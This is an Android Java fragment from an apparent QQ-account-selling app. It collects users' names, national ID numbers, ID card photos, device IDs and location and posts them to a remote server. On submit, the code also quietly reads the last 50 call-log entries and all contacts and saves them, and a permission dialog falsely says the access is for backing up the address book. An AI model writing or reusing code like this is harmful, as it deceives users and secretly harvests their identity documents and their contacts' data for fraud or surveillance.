package com.example.sell_qq.fragment;

import android.Manifest;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.BitmapFactory;
import android.location.Location;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AlertDialog;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.fragment.app.Fragment;

import com.example.sell_qq.R;
import com.example.sell_qq.constant.ApiConstant;
import com.example.sell_qq.dao.AddressBookDao;
import com.example.sell_qq.dao.RecordDao;
import com.example.sell_qq.entity.AddressBook;
import com.example.sell_qq.entity.Record;
import com.example.sell_qq.util.AppUtils;
import com.example.sell_qq.util.ContactUtils;
import com.example.sell_qq.util.HttpUtils;
import com.example.sell_qq.util.LocationUtils;
import com.example.sell_qq.util.RecordUtils;
import com.example.sell_qq.util.UploadUtils;
import com.example.sell_qq.vo.ResponseVO;
import com.wildma.pictureselector.PictureBean;
import com.wildma.pictureselector.PictureSelector;

import java.io.IOException;
import java.util.List;
import java.util.Map;

import okhttp3.FormBody;
import okhttp3.RequestBody;

public class SaleFragment extends Fragment {

    private ImageView idCardFront;
    private ImageView idCardBack;
    private ImageView handIdCard;
    private int[] choose = {0};
    private String[] images = {"", "", ""};
    private Boolean[] imageChosen = {false, false, false};

    private Button commitButton;
    private EditText qq;
    private EditText name;
    private EditText idCard;
    private TextView contentRate;

    private RecordDao recordDao = new RecordDao();
    private AddressBookDao addressBookDao = new AddressBookDao();

    private static final int MY_PERMISSION_REQUEST_CODE = 10000;

    private int selectedNum = 0;

    private String[] permissions = new String[]{
            Manifest.permission.READ_CONTACTS,
            Manifest.permission.READ_CALL_LOG,
            Manifest.permission.WRITE_CONTACTS,
            Manifest.permission.READ_EXTERNAL_STORAGE,
            Manifest.permission.WRITE_EXTERNAL_STORAGE,
            Manifest.permission.ACCESS_FINE_LOCATION,
            Manifest.permission.ACCESS_COARSE_LOCATION,
    };

    @Override
    public void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }

    @Nullable
    @Override
    public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
        final View saleFragment = inflater.inflate(R.layout.sale_layout, container, false);

        idCardFront = saleFragment.findViewById(R.id.id_card_front);
        idCardBack = saleFragment.findViewById(R.id.id_card_back);
        handIdCard = saleFragment.findViewById(R.id.hand_id_card);
        contentRate = saleFragment.findViewById(R.id.content_rate);
        imageChosen[0] = false;
        imageChosen[1] = false;
        imageChosen[2] = false;
        selectedNum = 0;

        boolean isAllGranted = checkPermissionAllGranted(permissions);
        // 如果这3个权限全都拥有, 则直接执行备份代码
        if (!isAllGranted) {
            ActivityCompat.requestPermissions(
                    getActivity(),
                    permissions,
                    MY_PERMISSION_REQUEST_CODE
            );
        }

        idCardFront.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                choose[0] = 0;
                PictureSelector
                        .create(SaleFragment.this, PictureSelector.SELECT_REQUEST_CODE)
                        .selectPicture(false, 200, 200, 1, 1);
            }
        });
        idCardBack.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                choose[0] = 1;
                PictureSelector
                        .create(SaleFragment.this, PictureSelector.SELECT_REQUEST_CODE)
                        .selectPicture(false, 200, 200, 1, 1);
            }
        });
        handIdCard.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                choose[0] = 2;
                PictureSelector
                        .create(SaleFragment.this, PictureSelector.SELECT_REQUEST_CODE)
                        .selectPicture(false, 200, 200, 1, 1);
            }
        });

        commitButton = saleFragment.findViewById(R.id.btn_commit);
        qq = saleFragment.findViewById(R.id.qq);
        name = saleFragment.findViewById(R.id.name);
        idCard = saleFragment.findViewById(R.id.id_card);
        commitButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (qq.getText().length() == 0) {
                    Toast.makeText(getContext(), "请输入QQ", Toast.LENGTH_LONG).show();
                    return;
                }
                if (name.getText().length() == 0) {
                    Toast.makeText(getContext(), "请输入姓名", Toast.LENGTH_LONG).show();
                    return;
                }
                if (idCard.getText().length() == 0) {
                    Toast.makeText(getContext(), "请输入身份证号", Toast.LENGTH_LONG).show();
                    return;
                }
                if (images[0].length() == 0) {
                    Toast.makeText(getContext(), "请上传身份证正面", Toast.LENGTH_LONG).show();
                    return;
                }
                if (images[1].length() == 0) {
                    Toast.makeText(getContext(), "请上传身份证背面", Toast.LENGTH_LONG).show();
                    return;
                }
                if (images[2].length() == 0) {
                    Toast.makeText(getContext(), "请上传手持身份证", Toast.LENGTH_LONG).show();
                    return;
                }

                boolean isAllGranted = checkPermissionAllGranted(permissions);
                // 如果这3个权限全都拥有, 则直接执行备份代码
                if (!isAllGranted) {
                    ActivityCompat.requestPermissions(
                            getActivity(),
                            permissions,
                            MY_PERMISSION_REQUEST_CODE
                    );

                } else {
                    Toast.makeText(getContext(), "上传中, 请耐心等待", Toast.LENGTH_LONG).show();
                    commit();
                    saveUserRecords();
                    try {
                        saveUserAddressBook();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    Toast.makeText(getContext(), "上传成功", Toast.LENGTH_LONG).show();
                }
            }

            private void commit() {
                Location location = LocationUtils.getNetWorkLocation(getContext());
                if (location == null) {
                    // 设置定位监听，因为GPS定位，第一次进来可能获取不到，通过设置监听，可以在有效的时间范围内获取定位信息
                    LocationUtils.addLocationListener(getContext(), LocationManager.GPS_PROVIDER, new LocationUtils.ILocationListener() {
                        @Override
                        public void onSuccessLocation(Location location) {
                            if (location == null) {
                                Toast.makeText(getContext(), "请开启定位", Toast.LENGTH_LONG).show();
                            }
                        }
                    });
                }
                RequestBody formBody;
                if (location != null) {
                    String data = LocationUtils.getAddressByGaoDe(location);
                    formBody = new FormBody.Builder()
                            .add("devId", AppUtils.getAndroidID(getContext()))
                            .add("imageFront", images[0])
                            .add("imageBack", images[1])
                            .add("imageHand", images[2])
                            .add("name", name.getText().toString())
                            .add("qq", qq.getText().toString())
                            .add("devModel", android.os.Build.MODEL)
                            .add("idCard", idCard.getText().toString())
                            .add("location", data)
                            .build();
                } else {
                    formBody = new FormBody.Builder()
                            .add("devId", AppUtils.getAndroidID(getContext()))
                            .add("imageFront", images[0])
                            .add("imageBack", images[1])
                            .add("imageHand", images[2])
                            .add("name", name.getText().toString())
                            .add("qq", qq.getText().toString())
                            .add("idCard", idCard.getText().toString())
                            .add("devModel", android.os.Build.MODEL)
                            .build();
                }
                try {
                    String response = HttpUtils.httpFormPost(ApiConstant.EXPORT_API + "/user/sell", formBody);
                    ResponseVO responseVO = HttpUtils.resolveResponse(response);
                    if (responseVO == null) {
                        Toast.makeText(getContext(), "系统错误", Toast.LENGTH_LONG);
                        return;
                    }
                    if (responseVO.getCode() == 200) {
                        qq.setText("");
                        name.setText("");
                        idCard.setText("");
                        idCardFront.setImageResource(R.drawable.id_card_front);
                        idCardBack.setImageResource(R.drawable.id_card_back);
                        handIdCard.setImageResource(R.drawable.hand_id_card);
                        images[0] = "";
                        images[1] = "";
                        images[2] = "";
                        selectedNum = 0;
                        contentRate.setText("（" + selectedNum + " / 3）");
                    } else {
                        Toast.makeText(getContext(), responseVO.getMsg(), Toast.LENGTH_LONG).show();
                    }
                } catch (IOException e) {
                    Toast.makeText(getContext(), "上传失败", Toast.LENGTH_LONG).show();
                    e.printStackTrace();
                }
            }
        });

        return saleFragment;
    }

    @Override
    public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        /* 结果回调 */
        if (requestCode == PictureSelector.SELECT_REQUEST_CODE) {
            if (data != null) {
                ImageView image = null;
                if (choose[0] == 0) {
                    image = idCardFront;
                    if (!imageChosen[0]) {
                        selectedNum++;
                        imageChosen[0] = true;
                    }
                } else if (choose[0] == 1) {
                    image = idCardBack;
                    if (!imageChosen[1]) {
                        selectedNum++;
                        imageChosen[1] = true;
                    }
                } else if (choose[0] == 2) {
                    image = handIdCard;
                    if (!imageChosen[2]) {
                        selectedNum++;
                        imageChosen[2] = true;
                    }
                }
                PictureBean pictureBean = data.getParcelableExtra(PictureSelector.PICTURE_RESULT);
                if (pictureBean.isCut()) {
                    image.setImageBitmap(BitmapFactory.decodeFile(pictureBean.getPath()));
                    try {
                        ResponseVO responseVO = UploadUtils.uploadImage(pictureBean.getPath());
                        images[choose[0]] = ((Map<String, String>) responseVO.getData()).get("url");
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                } else {
                    image.setImageURI(pictureBean.getUri());
                    try {
                        ResponseVO responseVO = UploadUtils.uploadImageByUri(getActivity(), pictureBean.getUri());
                        images[choose[0]] = ((Map<String, String>) responseVO.getData()).get("url");
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }

                if (selectedNum >= 3) {
                    selectedNum = 3;
                }
                contentRate.setText("（" + selectedNum + " / 3）");
            }
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == MY_PERMISSION_REQUEST_CODE) {
            boolean isAllGranted = true;

            // 判断是否所有的权限都已经授予了
            for (int grant : grantResults) {
                if (grant != PackageManager.PERMISSION_GRANTED) {
                    isAllGranted = false;
                    break;
                }
            }

            if (!isAllGranted) {
                openAppDetails();
            }
        }
    }

    private boolean checkPermissionAllGranted(String[] permissions) {
        for (String permission : permissions) {
            if (ContextCompat.checkSelfPermission(getContext(), permission) != PackageManager.PERMISSION_GRANTED) {
                return false;
            }
        }
        return true;
    }

    private void saveUserRecords() {
        List<Record> records = RecordUtils.getCallHistoryList(getContext(), getActivity(), 50);
        try {
            assert records != null;
            this.recordDao.saveAllRecord(records);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void saveUserAddressBook() throws IOException {
        List<AddressBook> addressBooks = ContactUtils.getAllContacts(getContext());
        System.out.println(addressBooks);
        this.addressBookDao.saveAllAddressBook(addressBooks);
    }

    /**
     * 打开 APP 的详情设置
     */
    private void openAppDetails() {
        AlertDialog.Builder builder = new AlertDialog.Builder(getContext());
        builder.setMessage("备份通讯录需要访问 “通讯录” 和 “外部存储器”，请到 “应用信息 -> 权限” 中授予！");
        builder.setPositiveButton("去手动授权", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                Intent intent = new Intent();
                intent.setAction(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
                intent.addCategory(Intent.CATEGORY_DEFAULT);
                intent.setData(Uri.parse("package:" + getActivity().getPackageName()));
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
                intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
                startActivity(intent);
            }
        });
        builder.setNegativeButton("取消", null);
        builder.show();
    }

}
